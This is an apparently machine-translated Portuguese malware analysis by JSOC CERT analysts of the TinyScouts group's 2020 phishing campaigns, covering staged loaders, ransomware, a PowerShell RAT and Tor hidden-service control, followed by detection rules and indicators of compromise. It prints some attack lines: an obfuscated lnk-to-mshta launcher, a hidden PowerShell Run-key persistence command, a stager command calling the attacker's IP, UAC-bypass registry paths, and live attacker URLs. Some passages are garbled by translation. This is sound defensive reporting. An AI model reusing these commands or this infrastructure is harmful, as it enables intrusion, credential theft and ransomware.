Um pouco mais difícil do que parece: como o TinyScouts ataca

Há algum tempo, começamos a registrar tentativas de infectar as infraestruturas de nossos clientes com malware até então desconhecido. Ele foi entregue aos usuários por meio de e-mails de phishing, às vezes dedicados à segunda onda de coronavírus, e às vezes - claramente "aprimorado" para a organização atacada e relacionado às suas atividades. Os atacantes se passaram por várias empresas existentes, por exemplo, Norilsk Nickel, a União Russa de Industriais e Empresários, Finauditservice, etc.







Dois aspectos das atividades do grupo foram dignos de nota: primeiro, o alto nível de habilidades técnicas dos atacantes e, segundo, a variabilidade do cenário de ataque. Se você não for interessante como vítima, eles irão roubar senhas e criptografar dados, mas se sua máquina estiver em um domínio interessante e tiver potencial para um desenvolvimento de ataque mais interessante, eles farão o download da Remote Admin Tool (RAT) escrita em PowerShell. Chamamos o agrupamento de TinyScouts após os nomes das funções do código malicioso. Neste artigo, falaremos sobre suas duas últimas campanhas, que podem ser condicionalmente divididas por meses - julho e agosto de 2020, e faremos uma análise completa das ferramentas e scripts do TinyScouts.



Campanha de julho. Download direto





Em julho, o malware foi distribuído na forma de um arquivo lnk que executou o seguinte comando:



%comspec% /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_^^.z^ip\!a!)


Como resultado da execução de mshta.exe, o script JS ofuscado foi executado. Sua tarefa é extrair um documento do corpo do arquivo lnk para distração, abri-lo por meio de rundll32.exe e executar o comando ofuscado do PowerShell. Um fragmento do script após a desofuscação é mostrado abaixo:







O script na variável toexecute carrega e executa outro script ofuscado do PowerShell denominado Decide (solicitação para decidir.php). Um exemplo de ofuscação está abaixo:







A tarefa deste script é verificar se o computador está em conformidade com alguns parâmetros e baixar a próxima carga dos servidores. Um snippet do código desofuscado é mostrado abaixo:







A presença de TeamViewer, sessões RDP e o fato de fazer o login no domínio são verificados para determinar qual carga precisa ser baixada. No caso de um sistema "interessante", o RAT é carregado, caso contrário - o ransomware. Em ambos os casos, são scripts ofuscados em várias camadas.



Campanha de agosto (em andamento). Serviços ocultos do Tor







No início de agosto, o esquema de distribuição mudou: agora as cartas continham um link para baixar o arquivo sfx, que contém 4 arquivos:



  • document.doc. Um documento que é aberto para distração e não contém uma carga maliciosa.
  • 7za.exe. 7z - arquivador.
  • wget.exe. O utilitário wget original.
  • serviço. JS script Stager 1


Ao iniciar o arquivo sfx, as seguintes ações ocorrem:



1) document.doc é aberto



2) usando wget e 7z, TOR e node.exe são baixados e descompactados a partir dos seguintes links:



www.torproject.org/dist/torbrowser/9.5.1/tor- win32-0.4.3.5.zip



nodejs.org/dist/latest-carbon/win-x86/node.exe



3) usando node.exe, o script Stager 1 é iniciado:



C: \ Windows \ System32 \ cmd.exe "/ c se não existe nome de host (serviço de nó 192.248 [.] 165.254)



Abaixo está o script do Stager 1 desofuscado :







O script de serviço recebe o endereço do servidor de controle como um argumento e, quando iniciado, cria o TOR Hidden Service (https://2019.www.torproject.org/docs/onion-services). É importante notar que quando o serviço TOR oculto é lançado, seu nome é gerado (é semelhante ao nome de um recurso regular na rede TOR, por exemplo, vkss134jshs22yl3li2ul.onion). Em seguida, o script envia o nome do serviço oculto gerado ao invasor e ativa o servidor da web local. Posteriormente, o invasor se comunica com o sistema infectado no modo de solicitação / resposta para o servidor da web (linha 19 do código), onde as solicitações contêm o código para execução e as respostas contêm os resultados.



Essa arquitetura permite que um invasor obtenha acesso a um sistema infectado, mesmo que esteja por trás do NAT (a principal condição é a presença da Internet), e torna desnecessário saber o endereço IP "branco" da vítima.



A primeira solicitação ao servidor web gerado é o script Decider, cuja tarefa é determinar o fato do computador ingressar no domínio, bem como obter o nome de usuário. Desta vez, não há verificações para TeamViewer e RDP:







Depois que os resultados do script do Decider são enviados ao invasor, uma solicitação da Web chega ao sistema infectado contendo o ransomware ou RAT, dependendo do interesse do invasor.







Módulos comuns em ambas as campanhas



Script Stager 3



O script principal contém 5 componentes codificados em base64:



  • Encryptor ransomware
  • Readme
  • WebBrowserPassView
  • Mail PassView
  • Injector. , WebBrowserPassView Mail PassView svchost. RunPE.


Funções do script Stager 3 :



1) Lançamento do ransomware (função Get-Stuff)



Abaixo está um fragmento do código do script com o lançamento do ransomware:







2) Ignorando UAC (para remover cópias de sombra)



Existem três técnicas no código: usando csmtp.exe, CompMgmtLauncher.exe e fodhelper.exe. Você pode ler sobre eles aqui , aqui e aqui .



3) Removendo cópias de sombra



4) Iniciando WebBrowserPassView e Mail PassView



Esses são utilitários da Nirsoft para extrair senhas de navegadores e clientes de e-mail, respectivamente.











5) Envio dos relatórios dos referidos utilitários para o servidor de gerenciamento.



Antes do envio, os relatórios são criptografados com o algoritmo RC4 com uma chave gerada (4 caracteres):







A própria chave é colocada no início da mensagem:







Encryptor ransomware



A mensagem leia-me é semelhante a esta:







O criptografador é um arquivo executável .NET sem qualquer ofuscação. Os arquivos são criptografados com o algoritmo AES. Uma chave separada e um vetor de inicialização são gerados para cada arquivo, que é então criptografado usando a chave pública RSA e colocado no arquivo criptografado. A principal função do ransomware é mostrada abaixo:







RATO



Este script possui várias camadas de ofuscação. Após a descriptografia, ele pode executar os seguintes comandos:



  • excluir - auto- excluir
  • exec - executa um comando PowerShell
  • download - baixe o arquivo
  • set_wait_time - altera a frequência do pedido de comando
  • update_tiny - atualizar RAT
  • run_module - executa um bloco de comando do PowerShell
  • add_persist_module - adicione um módulo PowerShell ao sistema que será executado sempre que o RAT for iniciado.
  • remote_persist_module - remove um módulo da lista de inicialização RAT.


A função de processamento do comando desofuscado é mostrada abaixo:







Método de fixação



Duas chaves são usadas para fixar:



1) HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run. O seguinte comando é colocado nesta chave (a linha é desofuscada):



cmd /c PowerShell -windowstyle hidden -nop -c «iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>»


2) HKCU \ SOFTWARE \ Microsoft \ Windows. É aqui que o script é armazenado em um valor denominado client_id. Assim, quando o sistema inicia, o comando da tecla Run lê e executa o script a partir daqui.

client_id - uma string do formato AppX + base64 (hostname + username + campaign_id)



A função de fixação se parece com esta:







Script descriptografado que é colocado em Executar:







Deve-se observar que o código do malware não é armazenado no disco ou no registro: ele é carregado novamente a cada vez com o script acima.



Comando Add_persist_module



O RAT tem a capacidade de adicionar módulos do PowerShell que serão executados a cada inicialização. Para isso, é usada uma chave de registro separada, que armazena os identificadores dos módulos. Durante a inicialização, essa chave é verificada, e o malware faz uma solicitação ao servidor, baixando todos os módulos por seus identificadores.







Quando o malware é iniciado, a função Load-AllPersistModules é ativada para iniciar todos os módulos adicionados:







O código do módulo também não é armazenado em discos ou no registro, assim como o corpo principal do RAT.



Interações do servidor



O código contém a constante CampaignID, que é usada ao registrar o RAT na inicialização (função register-tiny) como a chave de criptografia. O algoritmo de criptografia é RC4. Após o envio das informações primárias sobre o sistema, a resposta do servidor contém a chave de criptografia, que será usada futuramente com o mesmo algoritmo.







Aspectos técnicos da descoberta de dados da campanha



Respondendo à questão de como detectar isso ou aquilo, tentamos dividir todas as regras em dois grandes grupos:



  • detecção de anomalias em todo o sistema,
  • detecção de anomalias para uma empresa / família / instrumento específico.


Detecção de anomalias em todo o sistema



Interação com servidores intermediários e n:

Na campanha de julho em termos de detecção e bloqueio desta atividade, basta adicionar endereços IP e nomes de domínio às listas de bloqueio, sem esquecer de monitorar as tentativas de acesso.



Em agosto as empresas ficaram mais difíceis com o aspecto de descoberta de rede, e aqui vale a pena prestar atenção ao seguinte:



  • Ainda podemos bloquear e retirar alguns dos endereços IP e nomes de domínio para monitoramento;
  • A presença de atividade de rede por meio de TOR nos obriga a armazenar e atualizar dinamicamente as listas de endereços IP envolvidos na construção desta rede. E aqui, para nós, a regra de detecção pode ser um apelo a um endereço IP da rede TOR;
  • , - ( Stager 1 ), SYN- TCP- . TOR Hidden Service . rendezvous point « » ( ) SYN- TCP- , .


Para ambas as campanhas, um conjunto de regras de IDS destinadas a detectar métodos PowerShell específicos usados ​​ou sua forma convertida em Base64 funcionará muito bem.



Executando o código no sistema de destino



Existem duas fontes de eventos - Windows Audit e Sysmon.



PowerShell Script Block Logging



O log que contém os registros dos scripts PowerShell que estão sendo executados. Localizado no seguinte caminho: Appilication and Sevices Logs> Microsoft> Windows> Powershell> Operational.



As regras de detecção, que visam detectar métodos específicos do PowerShell em uso, fazem um bom trabalho ao detectar a atividade dessas campanhas. Início do processo de



log de segurança (ou Sysmon)



- 4648 (1)



Para detectar esta atividade, são necessárias regras clássicas para detectar anomalias em relação aos processos pai -> filho. Esses pacotes são bem rastreados durante o processo de inicialização no host: md-> mshta, cmd-> powershell, mshta-> powershell, rar-> rundll32, node-> wmic



Além disso, uma regra para rastrear parâmetros suspeitos de processos de inicialização pode ajudar: powershell -e “base64 »



Conexão de rede do processo - 5156 (3)



A regra para detectar a conexão de rede do processo do PowerShell para endereços IP brancos deve ajudar a detectar essa atividade.



Além disso, durante a campanha de agosto, as regras para detectar tráfego de proxy interno para 127.0.0.1 ajudarão muito (é isso que o TOR e o servidor web local fazem).



Inscrição de registro - 4657 (13)



RAT escrito em PowerShell mantém sua presença por meio da ramificação de registro comum HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run, o que significa que a regra para monitorar registros ao longo desse caminho é nossa opção.



Detecção de tentativas de contornar a tecnologia UAC: mudanças nas seguintes ramificações do registro -



HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\Calibration


Detecção de anomalias para uma empresa / família / instrumento específico



Executando o código no sistema de destino



Processos de inicialização - 4648 (1)



Aqui você precisa de uma regra para rastrear parâmetros suspeitos de processos de inicialização: C: \ Windows \ System32 \ cmd.exe "/ c se não existir nome do host (serviço de nó)

Gravação no registro - 4657 (13 )



o RAT, escrito em PowerShell, também mantém uma presença por meio do registro de ramificação HKCU \ SOFTWARE \ Microsoft \ Windows e, portanto, para a detecção, precisamos rastrear os valores de registro «client_id» ao longo deste caminho.



Indicadores comprometidos:



a9a282a11a97669d96cce3feaeaaa13051d51880
8b20babe972f580f1b8f4aca4f7724f7866a595a
ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
2c687d52cc76990c08ec8638399f912df8fb72de
c19b68e4b1cb251db194e3c0b922e027f9040be3
a2d4b0914d164f2088130bee3cdcf4e5f4765c38
18a28811dbbcc97757091ddb3e3ab6982b0bbfc9
192.248.165[.]254 
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_launch.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_fin.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/web/index.php?r=bag
https[://]hello.tyvbxdobr0.workers[.]dev
https[://]curly-sound-d93e.ygrhxogxiogc.workers[.]dev
https[://]old-mud-23cb.tkbizulvc.workers[.]dev
https[://]odd-thunder-c853.tkbizulvc.workers.dev/
http[://]45.61.138[.]170


Autores da postagem:



Igor Zalevsky, Chefe do Departamento de Investigação de Incidentes Cibernéticos do JSOC CERT

Asker Jamirze, Especialista em Investigação Técnica do Departamento JSOC CERT



All Articles